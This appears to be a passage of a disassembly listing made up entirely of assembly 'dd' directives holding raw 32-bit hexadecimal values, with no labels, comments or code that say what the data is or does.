		dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch,	9C0C7CDh
		dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh,	71E35C89h
		dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h
		dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h,	0CE2970FEh
		dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh
		dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
		dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h,	9FEEF2A6h
		dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h,	0AA3E3EEFh
		dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
		dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
		dd 521B102Ch, 214F9E7Bh
		dd 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h,	0E2D0D6BAh
		dd 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h, 881438h
		dd 0A58552C0h, 7C428CC5h, 7C6BF048h, 87E28024h,	52F74400h
		dd 922282Dh, 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h
		dd 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h, 430DFCF1h
		dd 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh, 860904B6h
		dd 806FD3E9h, 8F899906h, 1336F100h, 65E39327h, 0EF0248FCh
		dd 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h, 0D4189h
		dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h
		dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h
		dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h,	0E4A8C200h
		dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh
		dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh,	80A15061h
		dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh,	5E34A787h
		dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h,	94D79F00h
		dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h,	0F172D307h
		dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh,	0B00C42Ch
		dd 2EF49D04h, 0A43C30h,	0CE034C7Fh, 0C941062h, 9F508800h
		dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h,	190ACAA3h
		dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h
		dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch
		dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch
		dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
		dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
		dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
		dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
		dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh,	42CE4DB6h
		dd 3050CE6h, 1CDA0849h,	20D85B14h, 76002734h, 402D4258h
		dd 0C1F041h, 3905E624h,	5312EF97h, 0FB005DECh, 4945D733h
		dd 15C940Fh, 810834B0h,	0F025BFC6h, 24000901h, 28007F2h
		dd 1EE231h, 0D6D3E30Bh,	32A221E6h, 907C4A00h, 0B833F934h
		dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h,	28E7EDh
		dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
		dd 1F764D5h, 9A531EE7h,	6011F121h, 6A0434A5h, 543AA074h
		dd 0A18E4BC1h, 42F3C8h,	1E0FE368h, 84F2E8B2h, 38FA3000h
		dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h,	4A8F0700h
		dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h,	23002C90h
		dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h,	48C86B44h
		dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
		dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
		dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
		dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
		dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
		dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
		dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
		dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
		dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
		dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
		dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
		dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
		dd 48F7AC4h, 1DA032F1h,	1660C5E2h, 0ACCC431Dh, 81DE42CFh
		dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
		dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
		dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh,	7780BCAh
		dd 0F4870063h, 2C4ABAh,	886F883h, 0CA62C1D6h, 0FC957703h
		dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
		dd 2EA5C208h, 10CCBE0h,	10C46B1Dh, 14C83F02h, 0AA34C0F5h
		dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
		dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h,	0BB7374E0h
		dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
		dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
		dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
		dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah,	840111DCh
		dd 0E4BAC766h, 1E90ECh,	0FF5014E3h, 0C1E0166Fh,	3205C000h
		dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
		dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
		dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h,	82960136h
		dd 7E908173h, 3B8ECE3h,	3C01AF98h, 0C6BFC241h, 7DC06BCh
		dd 9C70038h, 0CC5C105h,	1717E29h, 87C0CC3Bh, 0CD410D80h
		dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h,	11E0B80h
		dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h,	0DBC11B00h
		dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
		dd 1DC4138h, 81D4C114h,	15C040D5h, 0C0D70001h, 41168017h
		dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
		dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
		dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
		dd 13D04FDh, 2083C0FFh,	0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
		dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h,	0EBC829FDh
		dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh,	0ED0BC12Dh
		dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
		dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
		dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
		dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
		dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
		dd 0AB701Ch, 81A9C169h,	687040A8h, 0B8027867h, 7900B947h
		dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
		dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
		dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h
		dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h
		dd 1C567896h, 1971C57h,	8195C155h, 54CD4094h, 0C0019C01h
		dd 415D805Ch, 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah
		dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h,	9F491D48h
		dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 8F208E87h,	40014F80h
		dd 4CEE4D8Dh, 88C4138h,	0B84C144h, 0B1814085h, 8747C087h
		dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh,	38EC6681h
		dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh
		dd 899D505Dh, 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah
		dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h,	5ADC3Eh
		dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h,	3EE42h
		dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
		dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
		dd 0F4154CF0h, 30F64Bh,	0A101B247h, 0E8217061h,	6E1BBB1Eh
		dd 0D63A9680h, 63CF2Ch
		dd 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah, 5E1E00EBh
		dd 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h, 4D17C877h
		dd 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h, 0C1A707F3h
		dd 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h, 69D64400h
		dd 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h, 2FA83D05h
		dd 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h, 1F75F24Dh
		dd 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh,	0E6E82B70h
		dd 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h, 6FE82730h
		dd 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh, 0D13BCC5Eh
		dd 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh, 1904B998h
		dd 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h, 47CB80DFh
		dd 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h,	0C0AA9854h
		dd 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h,	80EC0C39h
		dd 1E202E6Dh, 0E8D5F8h,	99FFD271h, 88B83B75h, 50EAC702h
		dd 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h, 200DEE2h
		dd 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh
		dd 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h
		dd 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h,	0CE398E91h
		dd 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h,	0EF039F1h
		dd 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch
		dd 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h
		dd 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h
		dd 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h
		dd 52801E34h, 938013Ah,	97791257h, 0F3C10E0h, 9472B84Ah
		dd 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h
		dd 8FA5F163h, 9C362F9h,	92072C11h, 0A9F35C88h, 0E858FBD3h
		dd 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h
		dd 47914EDAh, 40443C20h, 0CA106141h, 86164839h,	524A1CEh
		dd 6F315314h, 20C897Ah,	48202523h, 0C3001CBCh, 0E9880534h
		dd 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h
		dd 90E04D09h, 33F200F7h, 0F350F172h, 84000469h,	0B22A2041h
		dd 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h
		dd 38201042h, 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah
		dd 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh
		dd 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h,	18598832h
		dd 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h
		dd 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh
		dd 708806A1h, 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah
		dd 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h,	0F2D4D324h
		dd 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh
		dd 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh
		dd 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah,	7F2E148h
		dd 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h,	91FC5EA8h
		dd 9E9D51E0h, 1804168h,	4A3CB06h, 84E07A9h, 500C56E0h
		dd 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h
		dd 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h,	741CD9Eh
		dd 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h,	4002D907h
		dd 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh
		dd 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h
		dd 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h
		dd 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h
		dd 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h,	95D300BCh
		dd 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h,	0F7F8F070h
		dd 119A00CAh, 275C08Bh,	15392B94h, 9E059CA9h, 0FE081380h
		dd 749CB254h, 61800E1h,	2F23B459h, 0FA03A25Ch, 6445A88Bh
		dd 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h
		dd 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h
		dd 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h
		dd 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h
		dd 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h,	5E005B2Fh
		dd 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h
		dd 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h
		dd 5600F203h, 9636641h,	1D4B9085h, 9DBFFB83h, 948F00ACh
		dd 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h
		dd 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h
		dd 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh
		dd 1A961130h, 41D24124h, 3DA5C100h, 7F349455h, 36640043h
		dd 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h,	7C5D81C7h
		dd 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh
		dd 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh,	580BC98Ah
		dd 7402320h, 151AD042h,	3DEB6013h, 1B04E57Ch, 8D78384Ah
		dd 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h,	0B58AFA12h
		dd 750B7800h, 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h
		dd 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h
		dd 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh
		dd 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h,	85000F79h
		dd 9541015Fh, 39FD3B0h,	1913CC45h, 0A2900D66h, 4207D55Ch
		dd 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh
		dd 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h,	0D7008209h
		dd 85890147h, 7598ABCh,	2F06BD83h, 91590FEh, 8B005184h
		dd 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h
		dd 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h
		dd 44B820h, 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h
		dd 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch,	3916F76Ah
		dd 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h
		dd 440099A0h, 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h
		dd 80CD4A5h, 40D05900h,	0D250C653h, 0FD8A3AE7h,	0F6BF2780h
		dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h
		dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh
		dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah
		dd 3AC07788h, 7FBD14Ah,	956EEB62h, 9D8B50CEh, 83184787h
		dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h,	8A71CD00h
		dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh,	0EC835707h
		dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh
		dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h,	0CC03A869h
		dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch
		dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h,	0CA00AD3Eh
		dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
		dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
		dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h,	6F00794Ah
		dd 50CE8EDh, 7112F675h,	784D00F8h, 7CA85DF0h, 1F1345E1h
		dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
		dd 4CC75700h
		dd 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah
		dd 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch,	705C9D64h
		dd 42C0B4h, 0E4534AFEh,	8D6DD0AAh, 0D700C8FCh, 9772EF0Dh
		dd 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh, 7F084106h
		dd 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h, 2D4C6A30h
		dd 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h, 80B91E80h
		dd 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh, 2C6EE000h
		dd 8C046865h, 43C43EB5h, 20748680h, 80401C93h, 758D3803h
		dd 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h, 55B39296h
		dd 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh, 0DE973E16h
		dd 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h, 0C9E7A06Fh
		dd 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch, 0BD47B85Bh
		dd 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h, 65768072h
		dd 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h,	1D7CA13Bh
		dd 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h,	100009BFh
		dd 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah, 0E9870CBEh
		dd 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh, 755A00F3h
		dd 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h, 336F42h
		dd 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h, 17122211h
		dd 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h, 3EF708BAh
		dd 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h, 50E46E53h
		dd 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh, 0E10A300h
		dd 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h, 3A3901F2h
		dd 0E758250h, 41020742h, 78E95303h, 1CCBC4h, 522249FFh
		dd 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h, 88E0C733h
		dd 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h, 9A72F9B5h
		dd 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh,	58633F23h
		dd 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah,	0B0EA4C39h
		dd 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h,	0C55880D6h
		dd 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h,	54A3022Dh
		dd 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch, 440C2A20h
		dd 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh,	1500E8F4h
		dd 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h, 74D80100h
		dd 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh, 7300CBDAh
		dd 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h,	54B98Dh
		dd 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h,	70816641h
		dd 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h,	0F8FA80h
		dd 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h, 0EE475DDBh
		dd 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh,	1418F51Bh
		dd 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah,	3E797769h
		dd 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh, 0EA72A5EBh
		dd 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h, 458C3C00h
		dd 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h,	3A77EF56h
		dd 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh,	75623000h
		dd 26961Bh, 0E9855BA5h,	103D154Ch, 0A316A80Fh, 0B9A9E7A7h
		dd 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h, 95380C9h
		dd 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh, 0C958F631h
		dd 0D9B81Ch, 240A7EFFh,	0F70545B5h, 0C201E300h,	0DF8DD284h
		dd 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h, 3C203B11h
		dd 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h, 3519010h
		dd 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h,	93893200h
		dd 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h, 97920400h
		dd 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h, 0D43B060Eh
		dd 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h, 9149E534h
		dd 3C75DDh, 0A47DA6F8h,	460FA712h, 0E1541A00h, 7C8848A5h
		dd 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h, 0A8C35B40h
		dd 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h, 4BBF4F0Ah
		dd 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh, 27902023h
		dd 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h, 0D3445E9Fh
		dd 0D8EE02h, 9B750852h,	48711CDDh, 2AC31000h, 3B558F8h
		dd 33C812A0h, 8FF05DBh,	57A9019Fh, 0FC2DE241h, 0C174D0D2h
		dd 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah, 9D0088F1h
		dd 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h,	0EFD6934Eh
		dd 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh,	9109B5h
		dd 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh, 0CA2C4128h
		dd 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch, 0D0FB5FEFh
		dd 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h, 56D0B614h
		dd 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h,	81615E4Ch
		dd 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh,	0B1E40074h
		dd 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h, 8B414C87h
		dd 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h, 60890C24h
		dd 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh, 0BA37DCD2h
		dd 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh, 402BACCEh
		dd 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h, 913BA40h
		dd 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh,	897F4801h
		dd 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h, 3E92042Ch
		dd 3B66A080h, 7127506h,	76C98500h, 45BE8B20h, 0EEFC2C5Dh
		dd 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h, 355449h, 41CE751Bh
		dd 8289AC08h, 0EAA4F800h, 4790C362h, 142D00DCh,	3EE091FBh
		dd 1500EE21h, 0EC2906C0h, 0F01F84h, 1DC8BD4Ch, 0FC485FB9h
		dd 0EFE06B02h, 0F58E412Dh, 344F9B40h, 0D029EDF5h, 0C50079B7h
		dd 4ACCBD43h, 4FB67h, 0A0380C4h, 8B87558Dh, 351DD77Dh
		dd 49001EB5h, 1AB940C6h, 19FA00C4h, 1624DEC0h, 0B100DF77h
		dd 9B7A8528h, 70CAA1Dh,	899E2099h, 1A7FB0FBh, 24008E01h
		dd 7027CA11h, 0FCDFF045h, 320D0598h, 802EE2E9h,	9B89110Fh
		dd 50003E71h, 25F5E86Fh, 1A6DC9h, 2DAF884Ah, 0BD830685h
		dd 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch, 7500F25Dh, 43C61611h
		dd 28FB05h, 0C134E94Ah,	0A282701Dh, 1C8E9507h, 857214C0h
		dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h
		dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h
		dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h
		dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h,	699D7F9h
		dd 87578580h, 30871C2h,	0A2B45005h, 604C6A8Eh, 4DE82C66h
		dd 49271B00h, 0C0223Dh,	0BAE12A76h, 0AA922E38h,	7B430700h
		dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h
		dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch
		dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
		dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h,	4300EC90h
		dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh,	792A4D6h
		dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
		dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh,	0AF6CB8h
		dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
		dd 6C7002Ch
		dd 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh, 4330093h
		dd 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h, 116500A5h
